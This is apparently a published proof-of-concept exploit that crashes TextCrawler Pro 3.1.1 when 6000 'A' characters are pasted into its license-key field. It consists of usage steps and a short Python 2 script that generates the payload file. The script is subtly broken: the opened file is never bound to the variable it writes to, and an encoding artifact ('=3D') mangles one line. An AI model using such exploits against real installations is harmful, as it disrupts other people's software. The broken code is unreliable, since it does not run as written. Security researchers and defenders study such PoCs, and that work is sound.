# Exploit Title: TextCrawler Pro3.1.1 - Denial of Service (PoC) # Date: 2020-05-01 # Vendor Homepage:https://www.digitalvolcano.co.uk/index.html # Software Link: https://www.digitalvolcano.co.uk/download/TextCrawlerPro=setup.exe # Exploit Author: Achilles # Tested Version: 3.1.1 # Tested on: Windows 7 x64 # 1.- Run python code :TextCrawler.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open TextCrawler Pro # 4.- Paste the content of EVIL.txt into the Field: 'License key' # 5.- Click 'Activate' and you will see a crash. #!/usr/bin/env python buffer =3D "\x41" * 6000 try: open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"